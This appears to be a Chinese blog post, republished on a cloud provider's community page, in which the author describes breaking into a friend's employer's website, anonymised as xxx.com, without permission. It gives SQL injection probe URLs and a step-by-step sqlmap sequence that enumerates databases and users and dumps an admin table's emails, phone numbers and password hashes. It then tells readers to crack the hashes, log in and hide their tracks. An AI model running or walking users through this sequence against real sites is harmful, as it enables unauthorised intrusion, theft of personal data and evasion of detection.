SQL注入—我是如何一步步攻破一家互連網公司的

來源:互聯網
上載者:User

標籤:

SQL注入—我是如何一步步攻破一家互連網公司的

最近在研究Web 安全相關的知識,特別是SQL注入類的相關知識。接觸了一些與SQL注入相關的工具。周末在家閑著無聊,想把平時學的東東結合起來攻擊一下身邊某個小夥伴 去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,內心有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互連網公司的。

【作案工具介紹】

(1) AppScan滲透掃描工具

Appscan是Web應用程式滲透測試舞台上使用最廣泛的工具之一。它是一個傳統型應用程式,它有助於專業安全人員進行Web應用程式自動化脆弱性評估。

(2) Sqlmap滲透測試工具

Sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞。

【作案細節如下】

首先使用Appscan工具,對www.xxx.com互連網公司的官網進行掃描,掃描結果如下: 

在這56個安全性問題中,找到你感興趣的連結,例如下面這條:

http://www.xxx.com/system/cms/show?id=1

為何要挑出這一條呢?因為它對於SQL注入比較典型,下面普及下SQL注入常用手法。首先用如下語句,確定該網站是否存在注入點:

http://192.168.16.128/news.php?id=1 原網站

http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常

http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常

http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常

如果有出錯,說明存在注入點。

在判斷完http://www.xxx.com/system/cms/show?id=1該連結存在注入點後,接下來就啟動我們的滲透測試工具Sqlmap,進行下一步的注入工作,詳細過程如下:

1) 再次確認目標註入點是否可用:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1

參數:

-u:指定注入點url

結果:

注入結果展示:

a. 參數id存在基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。

b. 參數id存在基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件陳述式查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

c. 資料庫類型為:MySql 5.0.12

2) 暴庫所有資料庫:

一條命令即可曝出該sqlserver中所有資料庫名稱,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1  --dbs

參數:

--dbs:dbs前面有兩條杠,列出所有資料庫。

結果:

結果顯示該sqlserver中共包含3個可用的資料庫。

3) 擷取當前使用的資料庫

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db

參數:

--current-db:當前所使用的資料庫。

結果:

4) 擷取當前資料庫使用賬戶

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user

5) 列出sqlserver所有使用者

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users 

6) 擷取目前使用者資料庫賬戶與密碼

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords

結果顯示該使用者可能無讀取相關係統的許可權。

7) 列出資料庫中的表

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables  

參數:

-D:指定資料庫名稱

--tables:列出表

結果:

結果顯示共列出了69張表。

8) 列出表中欄位

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns

參數:

-D:指定資料庫名稱

-T:指定要列出欄位的表

--columns:指定列出欄位

結果:

9)暴欄位內容

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump

參數:

-C :指定要暴的欄位

--dump:將結果匯出

如果欄位內容太多,需要花費很多時間。可以指定匯出特定範圍的欄位內容,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump

參數:

--start:指定開始的行

--stop:指定結束的行

此條命令的含義為:匯出資料庫xxx_store中的表mall_admin中的關於欄位(ag_id,email,id,mobile,name,password,status)中的第1到第10行的資料內容。

結果如下:

通過,我們可以看到admin表中的使用者資訊了。我們將password欄位通過md5解密,可以得到hash的原文密碼,通過使用者名稱和密碼,我們就可以登入該網站了。

至此,我們已成功入侵到一家公司的後台,並拿到了相關的資料。不過要在這裡提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦乾淨,不讓別人發現你了!

SQL注入—我是如何一步步攻破一家互連網公司的

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.